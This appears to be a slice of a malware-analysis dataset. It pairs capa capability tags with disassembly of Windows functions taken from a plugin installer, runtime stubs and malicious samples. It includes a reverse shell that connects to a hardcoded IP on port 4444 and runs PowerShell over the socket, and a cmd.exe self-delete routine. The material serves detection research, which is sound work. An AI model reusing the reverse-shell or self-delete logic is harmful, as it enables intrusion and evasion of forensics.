joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001cb0
Capabilities:
Delete file
Query environment variable

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x4e0
mov r14, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea r12, [rsp + 0x20]
mov rdi, rcx
mov esi, edx
mov ebp, r8d
mov rdx, r12
mov r8d, 0xfa
lea rcx, str.COMMONPROGRAMFILES
call r14
mov r8d, 0xfa
lea r13, [rsp + 0x280]
lea rcx, str.COMMONPROGRAMFILES_X86_
mov ebx, eax
mov rdx, r13
call r14
sub eax, 1
cmp eax, 0xef
ja 0x140001d1a
sub ebx, 1
cmp ebx, 0xef
jbe 0x140001d50
test esi, esi
je 0x140001d30
add rsp, 0x4e0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
xor r9d, r9d
xor r8d, r8d
lea rdx, str.The_installation_folder_was_inaccessible._Regency_could_not_be_installed.
mov rcx, rdi
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140001d1e
lea rdx, str.CLAPRegency.clap
mov rcx, r12
call fcn.140001c40
lea rdx, str.CLAPRegency__32_bit_.clap
mov rcx, r13
call fcn.140001c40
test esi, esi
jne 0x140001db8
movzx eax, byte [0x141cb1860]
test ebp, ebp
je 0x140001d98
test al, al
jne 0x140001d1e
lea r8, str.bin_target_cl32
mov rdx, r13
mov rcx, rdi
call fcn.1400011d0
jmp 0x140001d1e
test al, al
jne 0x140001d1e
lea r8, str.bin_target_cl64
mov rdx, r12
mov rcx, rdi
call fcn.1400011d0
jmp 0x140001d1e
mov rcx, r12
mov rbx, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rbx
mov rcx, r13
call rbx
jmp 0x140001d1e
Function at 0x140002220
Capabilities:
Create directory
Delete file
Get common file path

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x850
xor r8d, r8d
lea r9, [rsp + 0x20]
mov rsi, rcx
mov ebx, edx
xor edx, edx
lea rcx, [0x140c9eaf0]
call sub.SHELL32.dll_SHGetKnownFolderPath
xor edx, edx
lea r9, [rsp + 0x28]
xor r8d, r8d
lea rcx, [0x140c9eb00]
call sub.SHELL32.dll_SHGetKnownFolderPath
mov rdx, qword [rsp + 0x20]
xor eax, eax
movzx ecx, word [rdx]
test cx, cx
je 0x1400023f8
nop
add rax, 1
cmp word [rdx + rax*2], 0
jne 0x140002270
cmp rax, 0x104
jbe 0x1400022a0
test ebx, ebx
je 0x1400023d0
add rsp, 0x850
pop rbx
pop rsi
pop rdi
ret
mov r8, qword [rsp + 0x28]
cmp word [r8], 0
je 0x1400022cd
xor eax, eax
nop
add rax, 1
cmp word [r8 + rax*2], 0
jne 0x1400022b0
cmp rax, 0x104
ja 0x140002283
test cx, cx
je 0x140002408
xor eax, eax
lea rdi, [rsp + 0x30]
nop dword [rax]
mov word [rdi + rax], cx
add rax, 2
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x1400022d8
add rax, rdi
xor r10d, r10d
mov rcx, rdi
lea rdx, str.NakstAudioPlugins
mov word [rax], r10w
call fcn.140001520
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov rcx, qword [rsp + 0x20]
movzx edx, word [rcx]
test dx, dx
je 0x14000248a
xor eax, eax
nop dword [rax]
mov word [rdi + rax], dx
add rax, 2
movzx edx, word [rcx + rax]
test dx, dx
jne 0x140002320
add rax, rdi
xor r9d, r9d
lea rdx, str.NakstAudioPluginsRegency_Standalone.exe
mov rcx, rdi
mov word [rax], r9w
call fcn.140001520
test ebx, ebx
jne 0x14000244a
cmp byte [0x141cb1860], 0
jne 0x14000236d
lea r8, str.bin_target_st64
mov rdx, rdi
mov rcx, rsi
call fcn.1400011d0
mov r8, qword [rsp + 0x28]
movzx edx, word [r8]
test dx, dx
je 0x140002415
xor eax, eax
lea rcx, [rsp + 0x440]
nop dword [rax]
mov word [rcx + rax], dx
add rax, 2
movzx edx, word [r8 + rax]
test dx, dx
jne 0x140002390
xor r8d, r8d
lea rdx, str.ProgramsRegency_Standalone.lnk
mov word [rsp + rax + 0x440], r8w
call fcn.140001520
test ebx, ebx
je 0x140002433
mov rsi, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rsi
jmp 0x14000228b
xor r9d, r9d
xor r8d, r8d
lea rdx, str.The_installation_folder_was_inaccessible._Regency_could_not_be_installed.
mov rcx, rsi
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
add rsp, 0x850
pop rbx
pop rsi
pop rdi
ret
mov r8, qword [rsp + 0x28]
cmp word [r8], 0
jne 0x1400022ac
lea rdi, [rsp + 0x30]
mov rax, rdi
jmp 0x1400022ec
xor eax, eax
lea rcx, [rsp + 0x440]
lea rdx, str.ProgramsRegency_Standalone.lnk
mov word [rsp + 0x440], ax
call fcn.140001520
mov rdx, rcx
lea r8, str.The_standalone_version_of_Regency.
mov rcx, rdi
call fcn.140002160
jmp 0x14000228b
mov rsi, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rsi
mov r8, qword [rsp + 0x28]
movzx edx, word [r8]
test dx, dx
jne 0x14000237f
xor edx, edx
lea rcx, [rsp + 0x440]
mov word [rsp + 0x440], dx
lea rdx, str.ProgramsRegency_Standalone.lnk
call fcn.140001520
call rsi
jmp 0x14000228b
mov rax, rdi
jmp 0x140002334
Function at 0x1400024c0
Capabilities:
Delete directory
Delete file
Query or enumerate registry value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x2c0
cmp byte [0x141cb1860], 0
mov r12, rcx
mov ebp, edx
je 0x1400024f0
xor eax, eax
add rsp, 0x2c0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
xor eax, eax
lea rdi, [rsp + 0x60]
mov ecx, 0x4b
xor r9d, r9d
rep stosq qword [rdi], rax
lea rax, [rsp + 0x58]
xor r8d, r8d
lea rdx, str.SOFTWAREImage_LineSharedPaths
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x38], rax
lea rsi, [rsp + 0x60]
mov dword [rsp + 0x54], 0x1f4
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea rax, [rsp + 0x54]
mov rcx, qword [rsp + 0x58]
xor edx, edx
mov qword [rsp + 0x30], rax
mov r9d, 2
lea r8, str.FL_Studio
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov rcx, qword [rsp + 0x58]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x140002660
movzx edx, word [rsp + 0x60]
xor eax, eax
xor ebx, ebx
test dx, dx
je 0x1400025c5
nop word [rax + rax]
cmp dx, 0x5c
cmove rbx, rax
add rax, 1
movzx edx, word [rsi + rax*2]
test dx, dx
jne 0x1400025b0
xor r9d, r9d
lea rdx, str.PluginsFruityGeneratorsRegencyRegency_x64.dll
mov rcx, rsi
mov word [rsp + rbx*2 + 0x60], r9w
call fcn.140001c40
test ebp, ebp
jne 0x140002688
cmp byte [0x141cb1860], 0
jne 0x140002648
lea r8, str.bin_target_fl64
mov rdx, rsi
mov rcx, r12
call fcn.1400011d0
xor eax, eax
lea rdx, str.PluginsFruityGeneratorsRegencyRegency.dll
mov rcx, rsi
mov word [rsp + rbx*2 + 0x60], ax
call fcn.140001c40
cmp byte [0x141cb1860], 0
jne 0x140002631
lea r8, str.bin_target_fl32
mov rdx, rsi
mov rcx, r12
call fcn.1400011d0
mov eax, 1
add rsp, 0x2c0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
xor edx, edx
mov rcx, rsi
mov word [rsp + rbx*2 + 0x60], dx
lea rdx, str.PluginsFruityGeneratorsRegencyRegency.dll
call fcn.140001c40
jmp 0x140002631
test ebp, ebp
jne 0x1400024db
xor r9d, r9d
xor r8d, r8d
lea rdx, str.No_FL_Studio_installation_was_found._Make_sure_you_have_installed_the_latest_version_of_FL_Studio.
mov rcx, r12
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x1400024db
mov rdi, qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, rsi
call rdi
xor ecx, ecx
lea rdx, str.PluginsFruityGeneratorsRegencyRegency.dll
mov word [rsp + rbx*2 + 0x60], cx
mov rcx, rsi
call fcn.140001c40
mov rcx, rsi
call rdi
xor r8d, r8d
mov rcx, rsi
lea rdx, str.PluginsFruityGeneratorsRegency_
mov word [rsp + rbx*2 + 0x60], r8w
call fcn.140001c40
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x140002631
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004430]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004440]
mov dword [rax], 1
mov rax, qword [0x140004450]
mov dword [rax], 1
mov rax, qword [0x1400043d0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004420]
mov dword [0x140007020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400044f0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400044d0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140004380]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001530
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x2a0
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp + 0x70]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140001582
mov r8d, 0x1b
lea rax, str._ERROR__WSASturtup_failed._n
mov rdx, rax
mov ecx, 2
call sym.write
mov eax, 1
jmp 0x1400016bb
mov dword [rbp + 0x21c], 0x115c
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x210], rax
mov word [rbp + 0x60], 2
mov eax, dword [rbp + 0x21c]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x62], ax
lea rax, str.192.168.129.27
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x64], eax
nop
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x210]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
jne 0x1400015f7
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 0x100
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x50], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.powershell.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, 0
add rsp, 0x2a0
pop rbp
ret
Function at 0x1400019c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001a30
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400070a4]
mov rbx, rcx
test esi, esi
jle 0x140001b60
mov rax, qword [0x1400070a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001a7b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001b05
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001a60
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001b82
mov rax, qword [0x1400070a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001b67
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001afe
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001b10
add dword [0x1400070a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001afe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001a88
mov rax, qword [0x1400070a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400020f0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x14000214c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002143
test rsi, rsi
je 0x140002143
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002128
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002360
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002378
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002380
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002390
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400023dd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400023d4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400023df
add rax, 0x28
cmp rax, r9
jne 0x1400023c0
xor eax, eax
ret

Function at 0x1400023e0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002470
mov rdx, qword [0x1400043d0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000245e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000245e
cmp word [rax + 0x18], 0x20b
jne 0x14000245e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002470
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002449
add rbx, 0x28
cmp rbx, rdi
je 0x140002470
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002440
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002480
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400024a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400024a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400024fd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400024f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400024a0
add rax, 0x28
cmp rax, r9
jne 0x1400024e0
xor eax, eax
ret

Function at 0x140002500
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043d0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000251f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002528
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000251f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002540
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400043d0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002560
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002568
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002560
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400025b0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400025a7
test rcx, rcx
je 0x140002560
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002598
xor eax, eax
ret

Function at 0x1400025c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043d0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400025df
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400025e8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002600
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002620
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002628
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002620
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002620
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002674
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002680
add rdx, 0x28
cmp r9, rdx
jne 0x140002660
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002690
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400043d0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400026b2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400026c0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400026b2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400026b2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400026b2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002715
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002728
add rdx, 0x28
cmp rdx, r10
jne 0x140002700
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002737
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002747
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000271e
test ecx, ecx
jg 0x140002730
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140003660
Capabilities:
Create process on windows
Self delete

Disassembly:
sub rsp, 0x718
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rsp + 0x700], rax
call fcn.140002e00
xorps xmm0, xmm0
lea rdx, [rsp + 0xe0]
xor eax, eax
mov r8d, 0x104
xor ecx, ecx
mov qword [rsp + 0xd0], rax
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea r9, [rsp + 0xe0]
mov edx, 0x208
lea r8, str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__Del__f__q___s_
lea rcx, [rsp + 0x2f0]
call fcn.1400012a0
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x2f0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x700]
xor rcx, rsp
call fcn.1400054c0
add rsp, 0x718
ret

Function at 0x140003b00
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140003b28
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140003b4e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140003b50
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140003ba9
test ecx, ecx
jle 0x140003b89
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140003ba9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140003ba9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x140003bd0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140003bf2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140003c08
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140003c24
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140003c26
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140003c62
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140003cfe
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140003c9d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140003cde
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140003cfe
cmp rbx, rax
ja 0x140003cb0
test rbx, rbx
je 0x140003cfe
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret